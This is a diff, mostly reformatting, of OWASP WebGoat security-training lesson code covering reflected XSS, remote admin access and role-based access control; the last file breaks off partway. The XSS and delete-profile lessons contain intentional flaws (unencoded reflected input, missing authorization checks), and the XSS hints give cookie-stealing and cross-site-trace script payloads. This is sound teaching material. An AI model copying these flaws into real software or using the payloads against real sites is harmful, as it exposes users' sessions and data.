import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -19,276 +19,248 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class ReflectedXSS extends LessonAdapter public class ReflectedXSS extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
*/
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
try
{ {
String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// test input field1 ElementContainer ec = new ElementContainer();
if (!pattern1.matcher(param1).matches()) String regex1 = "^[0-9]{3}$";// any three digits
{ Pattern pattern1 = Pattern.compile(regex1);
if (param1.toLowerCase().indexOf("script") != -1)
try
{ {
makeSuccess(s); String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// test input field1
if (!pattern1.matcher(param1).matches())
{
if (param1.toLowerCase().indexOf("script") != -1)
{
makeSuccess(s);
}
s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>"));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec);
s
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
}
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement(
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser()
.getStringParameter("QTY2", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel Centrino"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser()
.getStringParameter("QTY3", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser()
.getStringParameter("QTY4", "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD()
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory
.makeButton("Update Cart")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input name='field1' type='TEXT' value='" + param1 + "'>"));
//tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign(
"center"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} }
catch (Exception e)
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return Category.XSS;
e.printStackTrace();
} }
return (ec);
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
hints.add("Can you get the script to disclose the JSESSIONID cookie?");
hints.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie");
hints.add("Can you get the script to access the credit card form field?");
hints
.add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;");
return hints;
}
/** // <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
* DOCUMENT ME! // = new
* // ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
* @return DOCUMENT ME! // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
*/ /**
protected Category getDefaultCategory() * Gets the instructions attribute of the WeakAccessControl object
{ *
return Category.XSS; * @return The instructions value
} */
public String getInstructions(WebSession s)
{
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
/** protected Integer getDefaultRanking()
* Gets the hints attribute of the AccessControlScreen object {
* return DEFAULT_RANKING;
* @return The hints value }
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("A simple script is &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.");
hints.add("Can you get the script to disclose the JSESSIONID cookie?");
hints
.add("You can use &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; to access the session id cookie");
hints
.add("Can you get the script to access the credit card form field?");
hints
.add("Try a cross site trace (XST) Command:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(\"\\n\") > -1) str1 = str1.replace(\"\\n\",\"&lt;br&gt;\"); "
+ "document.write(str1);}&lt;/script&gt;");
return hints;
}
/**
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> * Gets the title attribute of the AccessControlScreen object
/** *
* Gets the instructions attribute of the WeakAccessControl object * @return The title value
* */
* @return The instructions value public String getTitle()
*/ {
public String getInstructions(WebSession s) return "Reflected XSS Attacks";
{ }
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return "Reflected XSS Attacks";
}
} }

View File

@ -1,115 +1,112 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class RemoteAdminFlaw extends LessonAdapter public class RemoteAdminFlaw extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (s.completedHackableAdmin()) if (s.completedHackableAdmin())
{ {
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
ec.addElement("WebGoat has an admin interface. To 'complete' this lesson you must figure " ec.addElement("WebGoat has an admin interface. To 'complete' this lesson you must figure "
+ "out how to access the administrative interface for WebGoat."); + "out how to access the administrative interface for WebGoat.");
} }
return ec; return ec;
} }
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ACCESS_CONTROL;
}
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the hints attribute of the HelloScreen object
* *
* @return The category value * @return The hints value
*/ */
protected Category getDefaultCategory() public List<String> getHints(WebSession s)
{ {
return Category.ACCESS_CONTROL; List<String> hints = new ArrayList<String>();
} hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints
.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!");
return hints;
}
/** private final static Integer DEFAULT_RANKING = new Integer(160);
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!");
return hints; protected Integer getDefaultRanking()
} {
return DEFAULT_RANKING;
}
private final static Integer DEFAULT_RANKING = new Integer(160); /**
* Gets the title attribute of the HelloScreen object
*
protected Integer getDefaultRanking() * @return The title value
{ */
return DEFAULT_RANKING; public String getTitle()
} {
return ("Remote Admin Access");
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Remote Admin Access");
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -13,167 +13,143 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class DeleteProfile extends DefaultLessonAction public class DeleteProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (isAuthenticated(s))
{ {
deleteEmployeeProfile(s, userId, employeeId); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
else
throw new UnauthenticatedException();
updateLessonStatus(s); public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
} UnauthorizedException, ValidationException
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.LISTSTAFF_ACTION;
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword getLesson().setCurrentAction(s, getActionName());
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
try int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
{
Statement statement = WebSession.getConnection(s) if (isAuthenticated(s))
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, {
ResultSet.CONCUR_READ_ONLY); deleteEmployeeProfile(s, userId, employeeId);
statement.executeUpdate(query);
} try
catch (SQLException sqle) {
{ chainedAction.handleRequest(s);
s.setMessage("Error deleting employee profile"); } catch (UnauthenticatedException ue1)
sqle.printStackTrace(); {
} System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
updateLessonStatus(s);
} }
catch (Exception e)
public String getNextPage(WebSession s)
{ {
s.setMessage("Error deleting employee profile"); return RoleBasedAccessControl.LISTSTAFF_ACTION;
e.printStackTrace();
} }
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId,
int employeeId) throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword try
String query = "DELETE FROM employee WHERE userid = " + employeeId; {
//System.out.println("Query: " + query); // Note: The password field is ONLY set by ChangePassword
try String query = "DELETE FROM employee WHERE userid = " + employeeId;
{ // System.out.println("Query: " + query);
Statement statement = WebSession.getConnection(s) try
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, {
ResultSet.CONCUR_READ_ONLY); Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
statement.executeUpdate(query); ResultSet.CONCUR_READ_ONLY);
} statement.executeUpdate(query);
catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId, int employeeId) throws UnauthorizedException
{ {
s.setMessage("Error deleting employee profile"); try
e.printStackTrace(); {
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
// System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
} catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
} }
}
private void updateLessonStatus(WebSession s)
private void updateLessonStatus(WebSession s)
{
// If the logged in user is not authorized to be here, stage 1 is complete.
if (RoleBasedAccessControl.STAGE1.equals(getStage(s)))
try
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." // If the logged in user is not authorized to be here, stage 1 is complete.
+ RoleBasedAccessControl.USER_ID); if (RoleBasedAccessControl.STAGE1.equals(getStage(s))) try
{
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
if (!isAuthorized(s, userId, if (!isAuthorized(s, userId, RoleBasedAccessControl.DELETEPROFILE_ACTION))
RoleBasedAccessControl.DELETEPROFILE_ACTION)) {
{ setStageComplete(s, RoleBasedAccessControl.STAGE1);
setStageComplete(s, RoleBasedAccessControl.STAGE1); }
} } catch (ParameterNotFoundException e)
{
}
} }
catch (ParameterNotFoundException e)
{}
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,187 +12,154 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getUserId(s); super(lesson, lessonName, actionName);
int employeeId = s.getParser().getIntParameter(
